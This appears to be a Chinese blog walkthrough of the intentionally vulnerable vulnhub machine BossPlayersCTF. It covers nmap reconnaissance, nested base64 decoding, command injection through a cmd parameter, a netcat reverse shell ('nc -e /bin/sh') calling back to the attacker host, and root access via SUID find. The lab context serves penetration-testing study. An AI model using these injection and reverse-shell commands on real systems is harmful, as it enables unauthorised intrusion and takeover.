BossPlayersCTF靶机

靶机概述

这是vulnhub上的一个简单的linux靶机,适合初级渗透测试人员,同时也告诉我们在渗透测试过程中要有耐心,要允许有兔子洞。

靶机整体思路:

  1. 主机端口探测,发现web服务。
  2. 在web服务中进行信息收集,发现命令注入,反弹shell
  3. 利用SUID进行提权,拿到root flag

靶机下载链接

1、nmap扫描

1)主机发现

# -sn 只做ping扫描,不做端口扫描
nmap -sn 192.168.84.1/24
# 发现靶机ip为
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.128

2)端口扫描

# sT 以tcp扫描,sC 以默认脚本扫描,sV 输出端口详细信息 O 探测操作系统版本
nmap -sT -sV -sC -O -p22,80 192.168.84.128 -o details Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:19 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00049s latency). PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 ac0d1e7140ef6e6591958d1c13138e3e (RSA)
| 256 249e2718dfa4783b0d118a9272bd058d (ECDSA)
|_ 256 26328d73890529438ea113ba4f8353f8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:27:20:93 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds

结果可以看到22为常规ssh服务,80为Apache服务,版本为2.4.38 操作系统版本 Linux 3.2 - 4.9

3)默认漏洞脚本扫描

nmap --script=vuln 192.168.84.128 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:24 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /logs.php: Logs
|_ /robots.txt: Robots file
MAC Address: 00:0C:29:27:20:93 (VMware) Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

看到80端口,又发现两个目录,我们用浏览器打开看一看

2、Web渗透

1)主页

困能程度:一颗星

描述:你好!这是我为那些想要涉足CTF的人创建的一个非常简单的题目,有一个方法论,避免兔子洞!我希望你喜欢这个,最重要的是,请玩的开心

网站 sudocuong.com

我们查看一下源码信息 碰到http的页面一般都要看看源码,否则我们经常会漏掉重要的信息

看着行数和下拉条就很奇怪,往下拉看看有没有重要信息

有一串密文,看着像base64,我们尝试base64解码

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d d29ya2luZ2lucHJvZ3Jlc3MucGhwCg== echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d |base64 -d
workinginprogress.php

终于把这个套娃解出来了 看着像是一个目录

2)访问收集到的目录

我们访问nmap发现的两个路径

/log.php

这是php的日志,我们把他的优先级往后放。

/robots.txt

看起来是base64我们解密一下

echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
lol try harder bro

lol 兄弟努力吧

应该是兔子洞,不是正确的ssh密码

/workinginprogress.php

告诉了我们system install的组件和版本,outstanding在这里是未完成的意思。

他让我们尝试ping命令

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133

能执行ping命令,尝试命令注入

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;id

看到注入成功

3、拿到立足点

1)反弹shell

a) kali本地
nc -lnvp 4444                 

listening on [any] 4444 ...
b) 注入命令
http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;nc -e /bin/sh 192.168.84.133 4444

成功反弹,拿到立足点。

2)优化shell

python -c "import pty;pty.spawn('/bin/bash')"

www-data@bossplayers:/var/www/html$ whoami
whoami
www-data

4、提权到root

1) sudo -l

查看有没有此用户可以用sudo执行的文件

sudo -l

www-data@bossplayers:/home$ sudo -l
sudo -l
bash: sudo: command not found

没有

2)SUID尝试

find / -perm -4000 -type f 2>/dev/null

/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

我们用find命令尝试

find . -exec /bin/sh -p \;
# whoami
whoami
root

提权成功

拿到root flag

# cat /root/root.txt
cat /root/root.txt
Y29uZ3JhdHVsYXRpb25zCg==
# cat /root/root.txt | base64 -d
cat /root/root.txt | base64 -d
congratulations

祝贺 !

总结

  1. nmap基本扫描发现22,80端口开放,访问web页面
  2. 在主页的源码信息中,发现base64套娃加密的隐藏路径。在访问nmap扫描出来的路径后,基本可以确定两个路径为兔子洞。
  3. 在隐藏路径/workinginprogress.php中找到RCE漏洞,成功反弹shell,拿到立足点。
  4. 利用SUID find 命令 成功提权到root
  5. 成功那都root flag :congratulations

BossPlayersCTF靶机笔记的更多相关文章

  1. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  2. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  3. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  4. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  5. 渗透测试全流程靶机vulnhubDC-1完成笔记

    镜像下载地址 https://www.vulnhub.com/entry/dc-1-1,292/ 信息收集 1.可以使用netdiscover -i eth0 发现二层网络信息 发现两个设备(103是 ...

  6. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  7. Metasploit和python两种安全工具的学习笔记

    Metasploit是个好东西 主要参考了<Metasploit渗透测试魔鬼训练营>这本书. 一.先用自己的靶机感受一下该工具的强大 linux靶机的ip如图 按照书上写的配置,如图 然后 ...

  8. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  9. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  10. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

随机推荐

  1. 字符串— trim()、trimStart() 和 trimEnd()

    在今天的教程中,我们将一起来学习JavaScript 字符串trim().trimStart() 和 trimEnd(). 01.trim() 学习如何使用 JavaScript  trim()方法从 ...

  2. Thanos解码:打造企业级云原生监控解决方案

    本文深入探讨了Thanos技术在云原生监控领域的应用,详细介绍了Thanos的基本概念.核心组件.安装配置步骤以及一个实战案例,帮助读者理解如何利用Thanos解决大规模监控数据的存储.查询和高可用性 ...

  3. Xcode调试内存最新理解

    前提: Xcode 16.0 beta 设置 Scheme设置中勾选Malloc Scribble.Malloc Stack Logging. 这么做是为了在Memory Graph.Profile中 ...

  4. 2019 南昌区域赛 CEGLM 题解 & lagrange 插值

    B. A Funny Bipartite Graph 状压 dp ,利用了原题中选完左边点集,那么右边在 左边编号最大的那个数 之前的所有点都要选的性质,可以优化到 \(O(n \cdot 2^n)\ ...

  5. python重拾第九天-进程、线程、协程

    本节内容 操作系统发展史介绍 进程.与线程区别 python GIL全局解释器锁 线程 语法 join 线程锁之Lock\Rlock\信号量 将线程变为守护进程 Event事件 queue队列 生产者 ...

  6. 基于.NET Core + Jquery实现文件断点分片上传

    基于.NET Core + Jquery实现文件断点分片上传 前言 该项目是基于.NET Core 和 Jquery实现的文件分片上传,没有经过测试,因为博主没有那么大的文件去测试,目前上传2G左右的 ...

  7. Android系统启动:3-zygote篇

    Android系统启动:zygote篇 原文:http://gityuan.com/2016/02/13/android-zygote/ 基于Android 6.0的源码剖析, 分析Android启动 ...

  8. 有手就会的 Java 处理压缩文件

    @ 目录 前言 背景 第一步:编写代码 1.1 请求层 1.2 业务处理层 1.3 新增配置 第二步:解压缩处理 2.1 引入依赖 2.2 解压缩工具类 总结 前言 请各大网友尊重本人原创知识分享,谨 ...

  9. SpringBoot学习备忘

    在 mapper.xml 中的 like 的写法 db1.name like "%"#{name}"%" 参考mybatis mapper.xml中like的写 ...

  10. ubuntu20使用php+apache+adminer搭建mysql网页管理工具

    前言   使用 php7+apache2+adminer 搭建网页版mysql管理工具,现将自己的搭建过程记录下来,留作后续参考.可参考其中配置,由于只配置了一次环境,可能有的步骤是多余的,后续可能会 ...